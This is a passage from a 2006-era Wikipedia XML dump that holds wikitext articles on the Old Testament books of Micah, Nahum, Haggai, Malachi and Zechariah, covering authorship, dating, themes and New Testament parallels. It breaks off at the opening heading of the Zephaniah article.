[[Micah]] wrote the book in the reigns of [[Jotham]], [[Ahaz]], and [[Hezekiah]], roughly 735-700 BC. Few [[Old Testament]] scholars today would defend [[Micah]]'s authorship of the entire book. However, some scholars attribute much more of the materials to [[Micah]] than others. The authorship of the book of Micah is somehow controversial.  It is generally agreed that Micah composed chapters 1 through 3; some scholars hold that chapter 6 and sections of chapter 7 were also written by the historical Micah.

==When was it written?==

The superscription suggests the time of the ministry of [[Micah]] as being during the reigns of [[Jotham]] (742-735 BC), [[Ahaz]] (735-715 BC), and [[Hezekiah]] (715-687 BC).  These figures allow a maximum period of fifty-five years for [[Micah]]'s ministry, but it is not likely that he was active as a [[prophet]] during all of that time. He was active during the late eighth century BC; he was among the earliest of the [[Minor Prophets]]. The message in [http://wikisource.org/wiki/Bible%2C_English%2C_King_James%2C_Micah#Chapter_1 Micah 1:2-9] was given before the destruction of [[Samaria]] in 721 BC. The appeal of [[Jeremiah]]'s supporters to the [[prophecy]] of [[Micah]] confirms his connection with [[Hezekiah]]: &quot;And some of the land arose and said to all the assembled people, [[Micah]] of Moresheth prophesied during the days of [[Hezekiah]] king of [[Kingdom of Judah|Judah]]&quot; ([http://wikisource.org/wiki/Bible%2C_English%2C_King_James%2C_Jeremiah#Chapter_26 Jeremiah 26:17])

==Where was it written==

[[Micah]] had a populist message in a small town southwest of [[Jerusalem]], Moresheth-gath. Most of the messages of hope can be credited to [[Micah]], but often their general content hinders reconstruction of a specific historical setting. Although we read the canonical book through the eyes of the postxilic community of faith, who come to the fore in 7:8-20, the importance of these sections lies in the spiritual message of these prophetic texts. For this reason, scholars look very carefully at messages of hope. They ask whether they came from the [[prophet]] who gave his name to the book or from later [[prophet]]s. Certainly the final edition of the book gives the impression of coming from early postexilic times.

==Why was it written==

The purpose of writing the book was to express disdain for the corruptions and pretensions of [[Jerusalem]] and its leaders. In an era of urbanization, he championed the traditions of early [[Israel]]. [[Micah]] condemned religious practice untethered from ethical performance (3:9-10,6:3-5,6-8). [[Micah]] was probably not a professional [[prophet]]. He criticizes the prophets who give oracles for money (3:11) or tailor their messages according to their clients' generosity (3:5). His credentials are divine inspiration and his unflinching stand for moral truth (3:8). His strong sense of call is exhibited in virtually every line. Fervently yet concisely he speaks to the issues of his day in terms of [[Israel]]'s [[covenant]] obligations. Behind the [[covenant]], in spite of [[Israel]]'s failure to maintain that bond, is the [[God]] of the [[covenant]] who yet will lead his people to future glory...

==What are the themes of the books?==

The book may be divided into three sections:

#Chapters 1-3 mainly consist of oracles of judgment.
#Chapters 4-5 of oracles of hope.
#Chapters 6-7 begins with judgment and moves to hope.

Chapters 1-3, mainly consist of oracles of judgment. The judgment motif is so strong in this book that [[Micah]] only preached about judgment. Judgment in [[Micah]] is seen in destruction of [[Samaria]], in the coming of an invader against [[Jerusalem]], in the greedy land-grabbers loss of their land and in their being abandoned by [[Tetragrammaton|Yahweh]], in shame for the false prophets, in the siege of [[Jerusalem]] and the cleaning of the land from idolatry and militarism.

Chapters 4-5 consist of oracles of hope. The [[prophet]] said that those conditions would not prevail forever. Judgment would come but a saved, chastened, and faithful remnant would survive. A new king from the [[Davidic line|line of David]] would be born in [[Bethlehem]] and replace the present weak king on the throne. He would reign in the majesty of the name of [[Yahweh]]. His people would dwell securely and he would be great to the ends of earths.

Chapters 6-7, begin with judgment and move to hope. [[Micah]] puts a protest on the people's lips, offering any religious response [[God]] cared to ask for. God's indictment becomes specific in 6:9-16. Violence, deception, and crooked business practices were rampant. They would bring desolation and destruction to the land. The reference to [[Omri]] and [[Ahab]] indicates that the same kinds of corruption that destroyed the northern kingdom had now spread to [[Kingdom of Judah|Judah]].

In conclusion, [[Micah]]'s later hearers take his messages to heart. His words of hope gave them new heart to live as God's people in a darkened world.

==References==
* Easton's Bible Dictionary, 1897.
* LaSor, William Sanford et al. ''Old Testament Survey: the Message, Form, and Background of the Old Testament''. Grand Rapids: William B. Eerdmans, 1996.

==External links==
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15763 Michah - Micah (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/33_micah.htm Micah at The Great Books] (New Revised Standard Version)
** {{biblegateway||Micah}}
** [http://en.wikisource.org/wiki/Bible,_English,_King_James,_Micah Micah at Wikisource] (Authorised King James Version)

{{eastons}}

[[Category:Christian prophets|Micah]]
[[Category:Nevi'im|Micah, Book of]]
[[Category:Old Testament books|Micah]]
[[Category:Tanakh prophets]]

{{Link FA|he}}

[[de:Micha (Buch)]]
[[fr:Livre de Michée]]
[[he:מיכה]]
[[id:Mikha]]
[[ja:ミカ書]]
[[jv:Mikha]]
[[ko:미가 (구약성서)]]
[[nl:Micha (boek)]]
[[pl:Księga Micheasza]]
[[pt:Miquéias]]
[[fi:Miikan kirja]]
[[sv:Mika]]
[[zh:彌迦書]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Nahum</title>
    <id>4453</id>
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      <contributor>
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      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
The '''book of Nahum''' is a book in the [[Bible]]'s [[Old Testament]] and [[Judaism|Jewish]] [[Tanakh]].

[[Nahum]] prophesied, according to some, in the beginning of the reign of [[Ahaz]] ([[740s BC]]). Others, however, think that his prophecies are to be referred to the latter half of the reign of [[Hezekiah]] ([[700s BC]]). Probably the book was written in [[Jerusalem]], where he witnessed the invasion of [[Sennacherib]] and the destruction of his host ([[Books of Kings|2 Kings]] 19:35).

The subject of this prophecy is the approaching complete and final destruction of [[Nineveh]], the capital of the great and at that time flourishing [[Assyria|Assyrian empire]]. [[Assur-bani-pal]] was at the height of his glory. Nineveh was a city of vast extent, and was then the center of the civilization and commerce of the world, a &quot;bloody city all full of lies and robbery&quot; ([[Book of Nahum|Nahum]] 3:1), for it had robbed and plundered all the neighboring nations. It was strongly fortified on every side, bidding defiance to every enemy.

[[Jonah]] had already uttered his message of warning, and Nahum was followed by [[Zephaniah]], who also predicted ([[Book of Zephaniah|Zephaniah]] 2:4-15) the destruction of the city, predictions which were remarkably fulfilled ([[625 BC]]) when Nineveh was destroyed apparently by fire, and the Assyrian empire came to an end, an event which changed the face of Asia. 

==External links==
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15764 Nachum - Nahum (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/34_nahum.htm Nahum at The Great Books] (New Revised Standard Version)
** {{biblegateway||Nahum}}


----
{{eastons}}

[[Category:Nevi'im|Nahum, Book of]]
[[Category:Old Testament books|Nahum]]

[[cs:Kniha Nahum]]
[[de:Nahum (Buch)]]
[[fr:Livre de Nahum]]
[[ko:나훔 (구약성서)]]
[[id:Nahum]]
[[it:Naum]]
[[he:נחום]]
[[jv:Nahum]]
[[nl:Nahum]]
[[pl:Księga Nahuma]]
[[fi:Nahumin kirja]]
[[sv:Nahum]]
[[zh:那鴻書]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Haggai</title>
    <id>4454</id>
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      <contributor>
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        <id>215352</id>
      </contributor>
      <comment>matched tenses</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
The '''Book of Haggai''' is a book of the [[Tanakh]] ([[Hebrew Bible]]) and of the [[Old Testament]], written by the prophet [[Haggai]].

It consists of two brief, comprehensive chapters. The object of the prophet is generally urging the people to proceed with the rebuilding of the [[Second Temple|second Jerusalem temple]] in [[520 BCE]] after the return of the deportees. Haggai attributes a recent drought to the peoples' refusal to rebuild the temple, which he sees as key to [[Jerusalem]]&amp;#8217;s glory.  The book ends with the prediction of the downfall of kingdoms, with one [[Zerubbabel]], governor of [[Kingdom of Judah|Judah]], as the Lord&amp;#8217;s chosen leader. The language here is not as finely wrought as in some other books of the [[minor prophets]], yet the intent seems straightforward.  

The first chapter first contains the first address (2-11) and its effects (12-15). The second chapter contains:

#The second prophecy (1-9), which was delivered a month after the first.
#The third prophecy (10-19), delivered two months and three days after the second; and
#The fourth prophecy (20-23), delivered on the same day as the third.

These discourses are referred to in [[Book of Ezra|Ezra]] 5:1; 6:14;(Compare Haggai 2:7, 8, 22.)

==External links==
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15767 Chaggai - Haggai (Judaica Press)] translation with [[Rashi]]'s commentary at [http://www.chabad.org chabad.org] 

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/37_haggai.htm ''Haggai'' at The Great Books] (New Revised Standard Version)
** {{biblegateway||Haggai}}
** [http://wikisource.org/wiki/Bible%2C_English%2C_King_James%2C_Haggai ''Haggai'' at Wikisource] (Authorised King James Version)


-----
''Initial text from Easton's Bible Dictionary, 1897 -- Please update as needed''

[[Category:Nevi'im|Haggai, Book of]]
[[Category:Old Testament books|Haggai]]

[[de:Haggai (Buch)]]
[[fr:Livre d'Aggée]]
[[ko:하깨 (구약성서)]]
[[he:ספר חגי]]
[[nl:Haggai]]
[[pl:Księga Aggeusza]]
[[fi:Haggain kirja]]
[[sv:Haggai]]
[[zh:哈該書]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Malachi</title>
    <id>4455</id>
    <revision>
      <id>37984390</id>
      <timestamp>2006-02-03T10:59:17Z</timestamp>
      <contributor>
        <username>Fred Bradstadt</username>
        <id>222638</id>
      </contributor>
      <minor />
      <comment>/* Themes */ wikitables</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
'''Malachi''' (or Malachias, מַלְאָכִי, Malʾaḫi, Mál'akhî) is a book of the [[Bible]] [[Old Testament]] and [[Judaism|Jewish]] [[Tanakh]], written by the prophet [[Malachi]].  Possibly this is not the name of the author, since ''Malachi'' means 'my messenger' in [[Hebrew language|Hebrew]].

==The author==
The last of the twelve [[minor prophets]] (canonically) and the final book of the Christian [[Old Testament]] is commonly attributed to a prophet by the name of Malachi. Although the appellation Malachi has frequently been understood as a proper name, its [[Hebrew language|Hebrew]] meaning is simply &quot;my [i.e., god's] messenger&quot; (or 'his messenger' in the [[Septuagint]]). This sobriquet occurs in the superscription at 1:1 and in 3:1, although it is highly unlikely that the word refers to the same character in both of these references. Thus, there is substantial debate regarding the identity of the author of the biblical book of Malachi. The Jewish [[Targum]] identifies [[Ezra]] (or Esdras) as the author of Malachi. [[Jerome|St. Jerome]] suggests this may be due to the fact that [[Ezra]] is seen as an intermediary between the prophets and the 'great synagogue'. There is, however, no historical evidence to support this claim. Some scholars note affinities between [[Zechariah]] 9-14 and the book of Malachi&quot;. Zechariah 9, Zechariah 12, and Malachi 1 are all introduced as &quot;Oracle, the word of Yahweh.&quot; Many scholars argue that this collection originally consisted of three independent and anonymous prophecies. Two were subsequently appended to the book of [[Book of Zecariah|Zechariah]] (as what scholars refer to as Deutero-Zechariah) and the third became the book of Malachi. As a result, most scholars consider the book of Malachi to be the work of a single author who may or may not have been identified by the title Malachi. The present division of the oracles results in a total of twelve books of minor prophets – a number parallelling the sons of [[Jacob]] who became the heads of the twelve [[Israelite|tribes of Israel]]. The [[Catholic Encyclopedia]] asserts that &quot;We are no doubt in presence of an abbreviation of the name Mál'akhîyah, that is 'Messenger of Yah.'&quot;.

Nothing is known of the biography of the author of the book of Malachi although is has been suggested that he may have been Levitical.

==Period==
There are very few historical details in the book of Malachi. The greatest clue as to its dating may lie in the fact that the Persian-era term for governor (pehâ) is used in 1:8. This points to a post-exilic date of composition both because of the use of the Persian period term and because [[Kingdom of Judah|Judah]] had a king before the exile. Since, in the same verse, the temple has been rebuilt, the book must also be later than 515 BCE. Malachi was apparently known to the author of [[Sirach|Ecclesiasticus]] early in the Second Century BCE. Because of the development of themes in the book of Malachi, most scholars assign it to a position between [[Book of Haggai|Haggai]] and [[Book of Zechariah|Zechariah]], slightly before [[Book of Nehemiah|Nehemiah]] came to [[Jerusalem]] in 445 BCE.

==Location==
The book of Malachi deals directly with abuses in the restored cultic [[Temple in Jerusalem|Temple]] system -- apparently from first hand experience. Thus, the book was almost certainly written in [[Jerusalem]].

==Aim==
The book of Malachi was written to correct the lax religious and social behaviour of the [[Israelite|Israelites]] &amp;#8211; particularly the priests &amp;#8211; in post-exilic [[Jerusalem]]. Although the prophets urged the people of [[Kingdom of Judah|Judah]] and [[Israel]] to see their exile as punishment for failing to uphold their covenant with [[Yahweh]], it was not long after they had been restored to the land and to [[Temple in Jerusalem|Temple]] worship that the people&amp;#8217;s commitment to their God began, once again, to wane. It was in this context that the prophet commonly referred to as Malachi delivered his prophecy. 

In 1:2, Malachi has the people of Israel question God&amp;#8217;s love for them. This introduction to the book illustrates the severity of the situation which Malachi addresses. The graveness of the situation is also indicated by the dialectical style with which Malachi confronts his audience. Malachi proceeds to accuse his audience of failing to respect God as God deserves. One way in which this disrespect is made manifest is through the substandard sacrifices which Malachi claims are being offered by the priests. While [[Tetragrammaton|Yahweh]] demands animals that are &amp;#8220;without blemish&amp;#8221; ([[Leviticus]] 1:3, NRSV), the priests, who were &amp;#8220;to determine whether the animal was acceptable&amp;#8221; (Mason 143), were offering blind, lame and sick animals for sacrifice because they thought nobody would notice.

In 2:10, Malachi addresses the issue of divorce. On this topic, Malachi deals with divorce both as a social problem (&amp;#8220;Why then are we faithless to one another ... ?&amp;#8221; 2:10) and as a religious problem (&amp;#8220;Judah ... has married the daughter of a foreign god&amp;#8221; 2:11). In contrast to the book of [[Book of Ezra|Ezra]], Malachi urges the people to remain steadfast to the wives of their youth.

Malachi also criticizes his audience for questioning God&amp;#8217;s justice. He reminds them that God is just, exhorting them to be faithful as they await that justice. Malachi quickly goes on to point out that the people have not been faithful. In fact, the people are not giving God all that God deserves. Just as the priests have been offering unacceptable sacrifices, so the people have been neglecting to offer their full [[tithe]] to the Lord. The result of these shortcomings is that the people come to believe that no good comes out of serving God.

Malachi assures the faithful among his audience that in the [[eschatology|eschaton]], the differences between those who served God faithfully and those who did not will become clear. The book concludes by calling upon the teachings of [[Moses]] and by promising that [[Elijah]] will return prior to the [[Last Judgement|Day of the Lord]]. The [[Gospel|New Testament Gospel]] writers adopt this image in identifying [[John the Baptist]] with the prophet [[Elijah]] ([[Gospel of Mark|Mark]] 9:13, [[Gospel of Matthew|Matthew]] 17:12, and especially [[Gospel of Matthew|Matthew]] 11:13-14).

==Themes==
The book of Malachi consists of three chapters in the [[Hebrew language|Hebrew]] and four chapters in English. The [[New Revised Standard Version]] of the [[Bible]] supplies headings for the book as follows:

{| class=&quot;wikitable&quot;
|+ Verse/Chapter Headings in the NRSV
|-
! Verse Reference !! Heading
|-
| 1:1 || (Superscription)
|-
| 1:2-2:9 || Israel Preferred to [[Edom]]
|-
| 2:10-17 || The Covenant Profaned by [[Kingdom of Judah|Judah]]
|-
| 3:1-7 || The Coming Messenger
|-
| 3:8-15 || Do Not Rob God
|-
| 4:1-5 || The Great Day of the Lord
|-
| (3:19-24 in [[Hebrew language|Hebrew]]) ||
|}

It must be noted that the majority of scholars consider the book to be made up of six distinct oracles. According to this schema, the book of Malachi consists of a series of disputes between [[Tetragrammaton|Yahweh]] and the various groups within the [[Israelite]] community. In the course of the book&amp;#8217;s three or four chapters, [[Tetragrammaton|Yahweh]] is vindicated while those who do not adhere to the law of [[Moses]] are condemned. Some scholars have suggested that the book, as a whole, is structured along the lines of a judicial trial, a suzerain treaty or a covenant &amp;#8211; one of the major themes throughout the [[Hebrew Bible|Hebrew Scriptures]]. Implicit in the prophet&amp;#8217;s condemnation of Israel&amp;#8217;s religious practices is a call to keep [[Tetragrammaton|Yahweh]]&amp;#8217;s statutes.

The book of Malachi draws upon various themes found in other books of the Bible. Malachi appeals to the story of the rivalry between [[Jacob]] and [[Esau]] and of [[Tetragrammaton|Yahweh]]&amp;#8217;s preference for Jacob contained in [[Genesis]] 25-28. Malachi reminds his audience that, as descendants of Jacob ([[Israel]]), they have been and continue to be favoured by God as God&amp;#8217;s chosen people. In the second dispute, Malachi draws upon the Levitical Code (eg. [[Leviticus]] 1:3) in condemning the priest for offering unacceptable sacrifices.

In the third dispute (concerning divorce), the author of the book of Malachi likely intends his argument to be understood on two levels. Malachi appears to be attacking either the practice of divorcing Jewish wives in favour of foreign ones (a practice which [[Ezra]] vehemently condemns) or, alternatively, Malachi could be condemning the practice of divorcing foreign wives in favour of [[Jew|Jewish]] wives (a practice which [[Ezra]] promoted). Malachi appears adamant that nationality is not a valid reason to terminate a marriage, &amp;#8220;For I hate divorce, says the Lord . . .&amp;#8221; (2:16).

In many places throughout the [[Hebrew Bible|Hebrew Scriptures]] &amp;#8211; particularly the book of [[Book of Hosea|Hosea]] &amp;#8211; [[Israel]] is figured as [[Tetragrammaton|Yahweh]]&amp;#8217;s wife or bride. Malachi&amp;#8217;s discussion of divorce may also be understood to conform to this metaphor. Malachi could very well be urging his audience not to break faith with [[Tetragrammaton|Yahweh]] (the God of [[Israel]]) by adopting new gods or idols. It is quite likely that, since the people of [[Kingdom of Judah|Judah]] were questioning [[Tetragrammaton|Yahweh]]&amp;#8217;s love and justice (1:2, 2:17), they might be tempted to adopt foreign gods. William LaSor suggests that, because the restoration to the land of [[Kingdom of Judah|Judah]] had not resulted in anything like the prophesied splendor of the [[messiah|messianic age]] which had been prophesied, the people were becoming quite disillusioned with their religion.

Indeed, the fourth dispute asserts that judgment is coming in the form of a messenger who &amp;#8220;is like refiner&amp;#8217;s fire and like fullers&amp;#8217; soap . . .&amp;#8221; (3:2). Following this, the prophet provides another example of wrongdoing in the fifth dispute &amp;#8211; that is, failing to offer full tithes. In this discussion, Malachi has [[Tetragrammaton|Yahweh]] request the people to &amp;#8220;Bring the full tithe . . . [and] see if I will not  open the windows of heaven for you and pour down on you an overflowing blessing&amp;#8221; (3:10). This request offers the opportunity for the people to amend their ways. It also stresses that keeping the Lord&amp;#8217;s statutes will not only allow the people to avoid God&amp;#8217;s wrath, but will also lead to God&amp;#8217;s blessing. In the sixth dispute, the people of [[Israel]] illustrate the extent of their disillusionment. Malachi has them say &amp;#8220;&amp;#8217;It is vain to serve God . . . Now we count the arrogant happy; evildoers not only prosper, but when they put God to the test they escape&amp;#8217;&amp;#8221; (3:14-15). Once again, Malachi has [[Tetragrammaton|Yahweh]] assure the people that the wicked will be punished and the faithful will be rewarded.

In the light of what Malachi understands to be an imminent judgment, he exhorts his audience to &amp;#8220;Remember the teaching of my servant [[Moses]], that statutes and ordinances that I commanded him at [[Horeb]] for all [[Israel]]&amp;#8221; (4:4; 3:22, MT). Before the [[Last Judgment|Day of the Lord]], Malachi declares that [[Elijah]] (who &amp;#8220;ascended in a whirlwind into heaven . . . [,]&amp;#8221; 2 [[Books of Kings|Kings]] 2:11) will return to earth in order that people might follow in God&amp;#8217;s ways.

Primarily because of its [[messiah|messianic]] promise, the book of Malachi is frequently referred to in the [[Christian]] [[New Testament]]. What follows is a brief comparison between the book of Malachi and the [[New Testament]] texts which refer to it (as suggested in Hill 84-88).

{| class=&quot;wikitable&quot;
|+ Use of the book of Malachi in the [[New Testament]] ([[New Revised Standard Version|NRSV]])
|-
! Malachi !! New Testament
|-
| &quot;Yet I have loved Jacob but I have hated Esau&quot; (1:2-3)|| &quot;'I have loved Jacob, but I have hated Esau.'&quot; ([[Epistle to the Romans|Romans]] 9:13)
|-
| &quot;And if I am a master, where is the respect due me?&quot; (1:6) || &quot;Why do you call me &quot;Lord, Lord,' and do not do what I tell you?&quot; ([[Gospel of Luke|Luke]] 6:46)
|-
| &quot;the Lord's table&quot; (1:7, 12)  || &quot;the table of the Lord&quot; ([[First Epistle to the Corinthians|1 Corinthians]] 10:21)
|-
| &quot;For from the rising of the sun to its setting my name is great among the nations,&quot; (1:11) || &quot;so that the name of our Lord Jesus may be glorified in you&quot; ([[Second Epistle to the Thessalonians|2 Thessalonians]] 1:12)
|-
|  || &quot;Lord, who will not fear and glorify your name?&quot; ([[Book of Revelation|Revelation]] 15:4)
|-
| &quot;For the lips of a priest should guard knowledge, and people should seek instruction from his mouth, for he is the messenger of the Lord of hosts. But you have turned aside from the way; you have caused many to stumble by your instruction; you have corrupted the covenant of Levi, says the Lord of hosts,&quot; (2:7-8)  || &quot;therefore, do whatever they teach you and follow it; but do not do as they do, for they do not practice what they teach&quot; ([[Gospel of Matthew|Matthew]] 23:3)
|-
| &quot;Have we not all one father?&quot; (2:10) || &quot;yet for us there is one God, the Father,&quot; ([[First Epistle to the Corinthians|1 Corinthians]] 8:6)
|-
| &quot;See, I am sending my messenger to prepare the way before me,&quot; (3:1) || &quot;&quot;See, I am sending my messenger ahead of you, who will prepare your way;&quot; ([[Gospel of Mark|Mark]] 1:2)
|-
|  || &quot;See, I am sending my messenger ahead of you, who will prepare your way before you&quot; ([[Gospel of Matthew|Matthew]] 11:10, [[Gospel of Luke|Luke]] 7:27)
|-
| &quot;But who can endure the day of his coming, and who can stand when he appears?&quot; (3:2) || &quot;for the great day of their wrath has come, and who is able to stand?&quot; ([[Book of Revelation|Revelation]] 6:17)
|-
| &quot;and he will purify the descendants of Levi and refine them like gold and silver,&quot; (3:3) || &quot;so that the genuineness of your faith . . . being more precious than gold that, though perishable, is tested by fire . . .&quot; ([[First Epistle of Peter|1 Peter]] 1:7)
|-
| &quot;against those who oppress the hired workers in their wages,&quot; (3:5) || &quot;Listen! The wages of the laborers who mowed your fields, which you kept back by fraud,&quot; ([[Epistle of James|James]] 5:4)
|-
| &quot;Return to me, and I will return to you,&quot; (3:7) || &quot;Draw near to God, and he will draw near to you&quot; ([[Epistle of James|James]] 4:8)
|-
| &quot;But for you who revere my name the sun of righteousness shall rise,&quot; (3:20, 4:2) || &quot;By the tender mercy of our God, the dawn from on high will break upon us,&quot; ([[Gospel of Luke|Luke]] 1:78)
|-
| &quot;Lo, I will send you the prophet Elijah before the great and terrible day of the Lord comes.&quot; (3:23, 4:5) || &quot;he is Elijah who is to come.&quot; ([[Gospel of Matthew|Matthew]] 11:14)
|-
|  || &quot;Elijah has already come,&quot; ([[Gospel of Matthew|Matthew]] 17:12)
|-
|  || &quot;Elijah has come,&quot; ([[Gospel of Mark|Mark]] 9:13)
|-
| &quot;Lo, I will send you the prophet Elijah before the great and terrible day of the Lord comes. He will turn the hearts of parents to their children and the hearts of children to their parents,&quot; (3:23-24, 4:5-6) || &quot;With the spirit and power of Elijah he will go before him, to turn the hearts of parents to their children, and the disobedient to the wisdom of the righteous,&quot; ([[Gospel of Luke|Luke]] 1:17)
|}

Although Christians believe that the [[messiah|messianic]] prophecies of the book of Malachi have been fulfilled in the life, ministry, death and resurrection of [[Jesus|Jesus of Nazareth]], most Jews continue to await the coming of the prophet [[Elijah]] who will prepare the way for the Lord.

==See also==
*[http://www.jewishencyclopedia.com/view.jsp?artid=102&amp;letter=M Malachi at JewishEncyclopedia.com]
*[http://www.newadvent.org/cathen/09562b.htm Malachias (Malachi) at Catholic Encyclopedia]

*Translations:
**[[Judaism|Jewish]] translations:
*** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15769 Malachi (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  
**[[Christian]] translations:
*** {{biblegateway||Malachi}}
*** [http://bible.crosswalk.com/OnlineStudyBible/bible.cgi?passage=mal+1 ''Malachi'' at CrossWalk.com] (various versions)
*** [http://www.anova.org/sev/htm/hb/39_malachi.htm Malachi at The Great Books] (New Revised Standard Version)
*** [http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Malachi Malachi at Wikisource] (Authorised King James Version)

==References==
* ''The original version of this article was prepared in 2005 for the course BIBL5023 at [[Acadia Divinity College]]''
* Easton's Bible Dictionary, 1897.
* Hill, Andrew E. ''Malachi: A New Translation with Introduction and Commentary''. The Anchor Bible Volume 25D. Toronto: Doubleday, 1998.
* LaSor, William Sanford et al. ''Old Testament Survey: the Message, Form, and Background of the Old Testament''. Grand Rapids: William B. Eerdmans, 1996.
* Mason, Rex. ''The Books of Haggai, Zechariah and Malachi''. The Cambridge Bible Commentary on the New English Bible. New York, Cambridge University Press, 1977.
* Singer, Isidore &amp; Adolf Guttmacher. &quot;Book of Malachi.&quot; ''[http://www.jewishencyclopedia.com/ JewishEncyclopedia.com]''. 2002.
* Van Hoonacker, A. &quot;Malachias (Malachi).&quot; ''[http://www.newadvent.org/cathen/ Catholic Encyclopedia]''. Transcribed by Thomas J. Bress. 2003.

{{Link FA|he}}

[[Category:Nevi'im|Malachi, Book of]]
[[Category:Old Testament books|Malachi]]

[[de:Maleachi (Buch)]]
[[fr:Livre de Malachie]]
[[ko:말라기 (구약성서)]]
[[id:Maleakhi]]
[[he:מלאכי]]
[[jv:Maleakhi]]
[[nl:Maleachi]]
[[pl:Księga Malachiasza]]
[[pt:Malaquias]]
[[fi:Malakian kirja]]
[[sv:Malaki]]
[[zh:瑪拉基書]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Zechariah</title>
    <id>4456</id>
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      <id>37715677</id>
      <timestamp>2006-02-01T19:26:07Z</timestamp>
      <contributor>
        <ip>81.228.222.49</ip>
      </contributor>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
The '''Book of Zechariah'''  is a book of the [[Bible]] [[Old Testament]] and [[Jewish]] [[Tanakh]]. Its writing is attributed to the [[prophet]] [[Zechariah]].

==Historical Context==
Zechariah is broken into three parts in which the first six chapters are composed of eight visions that are bracketed by [[sermons]], the first of which is retrospective and a call to [[repentance]]. The lack of response by the community is the catalyst for [[God]]’s judgment and the circumstances from which God promised to deliver them. (7:8–14, 8:1–8). In the sermons and in the visions the reversal of fortune and restoration is entirely at the Lord’s disposal. Zechariah’s work has been linked to [[Haggai]]’s where the first chapter of the latter attributes the nation’s ills to the fact that they have stopped work on the Temple in favour of restoring their own homes, and the second chapter attributes the improvement in the community’s standing to the fact that they have begun to restore the Temple. 

==Composition==
The editors have placed Zech. 1:2–6 between these two dates which is believed to interpret the return in Zech 1:6 as the theological premise of what the prophet sees in his visions. Chapters 7–8 addresses the quality of life that God wants His renewed people to enjoy, and these words contain many encouraging promises to the people. According to some commentators, the second and third sections of the book consist of a series of predictions that are to be read as [[Messianic prophecies]], either directly or indirectly, and it seems that the [[Apocalypse]] is coloured by images taken from this book. It is thought that there was actually more than one contributor to the book that bears the name of Zechariah. 

Chapters 1–8 are treated as being the work of the first, &quot;original&quot; Zechariah who was a contemporary of Haggai. His prophecies and writings were collected by his disciples and his prophetic mantle handed down to still other disciples.  These were responsible for chapters 9–14; so, rather than a single author, there was an inspired tradition of Zechariah after the “original” prophet, and the character of this original is to be found within the lines of chapters 1–8. 

We do not know a great deal about Zechariah’s life except what is inferred from the book, although it is believed that his ancestor, [[Iddo]], was the head of a priestly family who returned with Zerrubbabel; the inference being that Zechariah was a [[priest]] and a [[prophet]]. These details are apparent from his interest in the temple and the priesthood and also from his preaching in [[First Chronicles|First]] and [[Second Chronicles]]. His concern for purity is apparent in the temple, priesthood and all areas of life as the prophecy gradually eliminates the governor in favour of the high priest, and the sanctuary becomes ever more clearly the centre of messianic fulfillment. The prominence of prophecy is quite apparent in Zechariah but it is also true that Zechariah (along with Haggai) allows prophecy to yield to the priesthood; this is particularly apparent in comparing Zechariah to [[Third Isaiah]] (chapters 55–56 of the [[Book of Isaiah]]), whose author was active sometime after the first return from exile.

==The Prophet ==
The exact identity of Zechariah is only the first of a number of questions with regard to this prophecy. His name means &quot;Jehovah has remembered.&quot; The purpose of this book is not strictly historical but [[theological]] and [[pastoral]]. As an example, even today historical details are often blended together to make a point or convey an overall impression and such is also true with regard to the transmission of religious traditions.

==Main Point/Emphasis==
The main emphasis is that God is at work and plans to live again with His people in Jerusalem.  He will save them from their enemies and cleanse them from sin. These same chapters helped the writers of the Gospel understand Jesus’ suffering, death and resurrection, which they quoted as they wrote of Jesus’ final days. Finally, Revelation draws on Zechariah as well as it narrates the denouement of history.
 
==Sources==
* The Student Bible, NIV. (Michigan: Zondervan Publishing House, [[1992]])
* D. Guthrie, (ed.) New Bible Commentary. (New York: Eerdmans Publishing Company, [[1970]]) 
* Stephen G. Dempster, Dominion And Dynasty: A Theology Of The Hebrew Bible. (Illinois: Intervarsity Press, [[2003]]) 
* Carroll Stuhlmueller, Haggai and Zechariah: Rebuilding With Hope. (Edinburgh: The Handsel Press Ltd., [[1988]])

[[Category:Nevi'im|Zechariah]]
[[Category:Old Testament books|Zechariah]]

[[de:Sacharja (Buch)]]
[[fr:Livre de Zacharie]]
[[fi:Sakarjan kirja]]
[[sv:Sakarja]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Zephaniah</title>
    <id>4457</id>
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      <id>41551079</id>
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      <contributor>
        <username>Condem</username>
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      <minor />
      <comment>/* What are the themes of the book? */ punctuation</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
==Who wrote it?==
